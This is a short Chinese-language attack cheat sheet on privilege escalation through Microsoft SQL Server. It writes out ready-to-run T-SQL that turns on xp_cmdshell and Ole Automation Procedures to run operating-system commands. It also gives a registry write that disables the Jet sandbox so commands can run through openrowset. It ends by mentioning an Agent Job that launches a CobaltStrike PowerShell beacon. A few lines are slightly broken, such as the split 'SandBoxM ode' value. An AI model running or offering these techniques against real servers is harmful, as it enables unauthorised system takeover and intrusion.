xp_cmdshell提权
xp_cmdshell是Sql Server中的一个组件,可以用来执行系统命令,在拿到sa口令之后,经常可以通过xp_cmdshell来进行提权
前提:
getshell或者存在sql注入并且能够执行命令。
sql server是system权限,sql server默认就是system权限
启用xp_cmdshell
EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;
# 通过xp_cmdshell执行系统命令
Exec master.dbo.xp_cmdshell 'whoami'
sp_oacreate提权
在xp_cmdshell被删除或者出错情况下,可以充分利用SP_OACreate进行提权,
前提:
需要同时具备sp_oacreate和sp_oamethod两个功能组件
# 开启组件
EXEC sp_configure 'show advanced options', 1;RECONFIGURE WITH OVERRIDE;EXEC sp_configure 'Ole Automation Procedures', 1;RECONFIGURE WITH OVERRIDE;
EXEC sp_configure 'show advanced options', 0; # 执行系统命令(无回显)
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c
whoami'
通过沙盒执行命令
# 开启沙盒
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxM ode','REG_DWORD',1
# 利用jet.oledb执行命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32
\ias\dnary.mdb','select shell("whoami")')
通过Agent Job执行命令
修改开启Ageent Job,执行无回显CobaltStrike生成powershell上线